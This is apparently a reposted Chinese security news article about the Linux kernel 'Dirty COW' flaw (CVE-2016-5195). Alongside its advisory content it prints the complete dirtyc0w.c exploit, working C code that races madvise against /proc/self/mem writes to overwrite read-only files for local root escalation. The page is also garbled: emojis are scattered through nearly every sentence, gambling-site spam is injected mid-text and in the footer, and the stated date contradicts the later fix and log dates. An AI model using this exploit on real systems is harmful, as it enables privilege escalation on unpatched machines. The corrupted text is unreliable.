• 網絡安全
    漏洞預警:Linux內核9年高齡的“臟牛”0day漏洞
    更新日期:2016年09月29日 09:43

     

    這個名叫Dirty COW,也就是臟牛的漏洞🤛🏻,存在Linux內核中已經有長達9年的時間,也就說2007年發布的Linux內核版本中就已經存在此漏洞🫲。Linux kernel團隊已經對此進行了修復🚓。

    40909837664.jpg

    漏洞編號:

    CVE-2016-5195 

    漏洞名稱🩶:

    Dirty COW 

    漏洞危害👴🏻:

    低權限用戶利用該漏洞可以在眾多Linux系統上實現本地提權 

    影響範圍♟:

    Linux kernel >= 2.6.22(2007年發行🧚🏽‍♂️,到今年10月18日才修復) 

    漏洞概述:

    該漏洞具體為🧖🏽,Linux內核的內存子系統在處理寫入時復製(copy-on-write, COW)時產生了競爭條件(race condition)。惡意用戶可利用此漏洞🧑🏼‍🚒,來獲取高權限🌹,對只讀內存映射進行寫訪問。(A race condition was found in the way the Linux kernel’s memory subsystem handled the copy-on-write (COW) breakage of private read-only memory mappings.) 

    競爭條件🍯📖,指的是任務執行順序異常🙎‍♂️,可導致應用崩潰,或令攻擊者有機可乘,進一步執行其他代碼。利用這一漏洞,攻擊者可在其目標系統提升權限,甚至可能獲得root權限。 

    根據官方發布的補丁信息👦,這個問題可以追溯到2007年發布的Linux內核。現在還沒有任何證據表明👨🏻‍🔬,2007年後是否有黑客利用了這個漏洞。不過安全專家Phil Oester稱發現一名攻擊者利用該漏洞部署攻擊🚶🏻‍♀️‍➡️,並向Red Hat通報了最近的攻擊事件。 

    修復方法:

    進行Linux內核維護的Greg Kroah-Hartman宣布針對Linux 4.8、4.7和4.4 LTS內核系列的維護更新(更新後為Linux kernel 4.8.3、4.7.9和4.4.26 LTS),修復了該漏洞。目前新版本已經登錄各GNU/Linux發行版庫🕝👩🏽‍🔬,包括Arch Linux(測試中)🪹、Solus和所有受支持版本的Ubuntu🦸。Debian開發人員前天也宣布穩定版Debian GNU/Linux 8 “Jessei”系列內核重要更新——本次更新總共修復4個Linux內核安全漏洞🪮,其中也包括了臟牛。 

    各操作系統供應商應該即刻下載Linux kernel 4.8.3☎️、Linux kernel 4.7.9和Linux kernel 4.4.26 LTS,為用戶提供穩定版渠道更新🫒。 

    軟件開發人員可以通過 https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=19be0eaffa3ac7d8eb6784ad9bdbc7d67ed8e619 重新編譯Linux修復此漏洞。

    漏洞POC♞:

     

    /*

    ## dirtyc0w.c ##

    $ sudo -s

    # echo this is not a test > foo

    # chmod 0404 foo

    $ ls -lah foo

    -r-----r-- 1 root root 19 Oct 20 15:23 foo

    $ cat foo

    this is not a test

    $ gcc -lpthread dirtyc0w.c -o dirtyc0w

    $ ./dirtyc0w foo m00000000000000000

    mmap 56123000

    madvise 0

    procselfmem 1800000000

    $ cat foo

    m00000000000000000

    ## dirtyc0w.c ##

    */

    #include <stdio.h>

    #include <sys/mman.h>

    #include <fcntl.h>

    #include <pthread.h>

    #include <string.h>

     

    void *map;

    int f;

    struct stat st;

    char *name;

     

    void *madviseThread(void *arg)

    {

     char *str;

     str=(char*)arg;

     int i,c=0;

     for(i=0;i<100000000;i++)

     {

    /*

    You have to race madvise(MADV_DONTNEED) :: https://access.redhat.com/security/vulnerabilities/2706661

    > This is achieved by racing the madvise(MADV_DONTNEED) system call

    > while having the page of the executable mmapped in memory.

    */

       c+=madvise(map,100,MADV_DONTNEED);

     }

     printf("madvise %d\n\n",c);

    }

     

    void *procselfmemThread(void *arg)

    {

     char *str;

     str=(char*)arg;

    /*

    You have to write to /proc/self/mem :: https://bugzilla.redhat.com/show_bug.cgi?id=1384344#c16

    >  The in the wild exploit we are aware of doesn't work on Red Hat

    >  Enterprise Linux 5 and 6 out of the box because on one side of

    >  the race it writes to /proc/self/mem, but /proc/self/mem is not

    >  writable on Red Hat Enterprise Linux 5 and 6.

    */

     int f=open("/proc/self/mem",O_RDWR);

     int i,c=0;

     for(i=0;i<100000000;i++) {

    /*

    You have to reset the file pointer to the memory position.

    */

       lseek(f,map,SEEK_SET);

       c+=write(f,str,strlen(str));

     }

     printf("procselfmem %d\n\n", c);

    }

     

     

    int main(int argc,char *argv[])

    {

    /*

    You have to pass two arguments. File and Contents.

    */

     if (argc<3)return 1;

     pthread_t pth1,pth2;

    /*

    You have to open the file in read only mode.

    */

     f=open(argv[1],O_RDONLY);

     fstat(f,&st);

     name=argv[1];

    /*

    You have to use MAP_PRIVATE for copy-on-write mapping.

    > Create a private copy-on-write mapping.  Updates to the

    > mapping are not visible to other processes mapping the same

    > file, and are not carried through to the underlying file.  It

    > is unspecified whether changes made to the file after the

    > mmap() call are visible in the mapped region.

    */

    /*

    You have to open with PROT_READ.

    */

     map=mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);

     printf("mmap %x\n\n",map);

    /*

    You have to do it on two threads.

    */

     pthread_create(&pth1,NULL,madviseThread,argv[1]);

     pthread_create(&pth2,NULL,procselfmemThread,argv[2]);

    /*

    You have to wait for the threads to finish.

    */

     pthread_join(pth1,NULL);

     pthread_join(pth2,NULL);

     return 0;

    }

     

    安全公司高估了“臟牛”的威脅?

    雖然這個漏洞今天占據了各大安全媒體的頭條👁‍🗨,但實際上它對Linux生態系統可能並沒有構成致命威脅,當然用戶還是應該及時更新系統🙆🏿‍♂️。 

    發現該漏洞的安全研究人員認為,某些安全公司過度誇大了這個漏洞的危害——為了嘲諷了那些誇大此漏洞的人🪹,他們特別為“臟牛”做了logo和意昂体育4平台🤸🏻‍♀️,設了推特賬戶,還開了個網店,店裏的電腦包售價僅在1.71萬美元(上萬了呢),上面有臟牛的LOGO哦🦻🏼,算是相當有誠意的周邊。

    COW.jpg

    話雖如此,“臟牛”漏洞構成的威脅還是真實存在的🫏。在接受V3的采訪時⛳️,Oester披露🦘,有攻擊者上傳並執行CVE-2016-5195漏洞利用🧎🏻‍➡️,攻擊了他管理的某個網站👨🏽‍💻。Oester表示👩‍👩‍👦:“這個漏洞年代久遠,可以影響到許多年前發布的Linux內核。所有Linux用戶都應嚴肅對待這個漏洞,及時修復系統🛣。” 

    * 轉載自FreeBuf(FreeBuf.COM)

     

     

    意昂体育4平台专业提供:意昂体育4平台🧑🏽‍🍼、意昂体育4意昂体育4登录等服务,提供最新官网平台、地址、注册、登陆、登录、入口、全站、网站、网页、网址、娱乐、手机版、app、下载、欧洲杯、欧冠、nba、世界杯、英超等,界面美观优质完美,安全稳定,服务一流,意昂体育4平台欢迎您。 意昂体育4平台官網xml地圖